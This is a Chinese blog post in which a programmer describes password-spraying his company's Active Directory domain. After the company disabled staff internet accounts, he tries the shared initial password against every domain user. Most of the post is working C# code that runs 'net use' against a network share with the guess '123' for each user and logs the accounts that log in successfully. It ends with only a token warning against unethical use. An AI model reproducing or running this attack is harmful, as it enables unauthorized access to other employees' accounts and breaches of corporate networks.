利用C#結(jié)合net use命令破解域帳號密碼

背景

我的職業(yè)是程序猿,而所在的工作單位因各種原因,對上網(wǎng)帳號有嚴(yán)格控制,近期竟然把我們的上網(wǎng)帳號全部停用,作為程序猿,不能上網(wǎng),就如同魚兒沒有水,煮飯沒有米,必須想辦法解決此問題。公司的局域網(wǎng)環(huán)境是AD域環(huán)境,上網(wǎng)帳號就是域帳號,公司有上萬人,每個帳號在建立時都是統(tǒng)一的初始密碼,且很多用戶懶得不愿意修改初始密碼。因此,稍動腦筋,就有了此破解之道。

原理

Windows中有個net use命令,用于將計算機(jī)與共享的資源相連接(建立磁盤映射),或者切斷計算機(jī)與共享資源的連接(刪除磁盤映射),對應(yīng)的圖形界面如下圖所示。

net use 命令對應(yīng)的圖形界面

net use命令的格式及詳細(xì)說明可參考:https://technet.microsoft.com/en-us/library/bb490717.aspx

簡單地說,net use命令可以使用指定的用戶名和密碼,映射網(wǎng)絡(luò)中的共享位置。

舉例:net use \\waaicd2 /user:domain\user001 mypassword,其中domain\user001表示用戶名,mypassword表示密碼。在命令行窗口執(zhí)行這條命令后,如果用戶名和密碼正確,則會提示"命令成功完成。",否則提示“登錄失敗: 未知的用戶名或錯誤密碼?!?/p>

想必看到這里,只要有點編程基礎(chǔ)的人都在心里呵呵笑了,前面的背景中提到,域帳號初始密碼是統(tǒng)一的,因此,我們只需要把域中的所有用戶名窮舉出來,套上這條命令,就能知道哪些用戶沒有修改初始密碼了。翠花,上代碼。

代碼

Listusers = GetUserList()

foreach (var user in users)

{

System.Diagnostics.ProcessStartInfo pInfo = new System.Diagnostics.ProcessStartInfo();

pInfo.FileName = "C:\\Windows\\System32\\net.exe";

pInfo.Arguments = "use \\\\計算機(jī)名\\共享目錄$ /user:domain\\" + staffno + " 123";

pInfo.UseShellExecute = false;

pInfo.RedirectStandardError = true;

pInfo.RedirectStandardOutput = true;

pInfo.CreateNoWindow = true;

System.Diagnostics.Process proc;

proc = System.Diagnostics.Process.Start(pInfo);

StreamReader myStreamReader = proc.StandardOutput;

string myString = myStreamReader.ReadLine();

if (myString != null && myString.Contains("命令成功完成"))

{

WriteResult(staffno);

}

proc.WaitForExit();

proc.Close();

pInfo.Arguments = "use \\\\計算機(jī)名\\共享目錄$ /delete";

System.Diagnostics.Process.Start(pInfo);

}

結(jié)束語

這種方法雖然簡單,但也不失為一種解決問題的途徑,甚至可以擴(kuò)展成更牛B的暴力破解。但各位讀者不要用此方法去做一些違反職業(yè)道德的事哦!

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容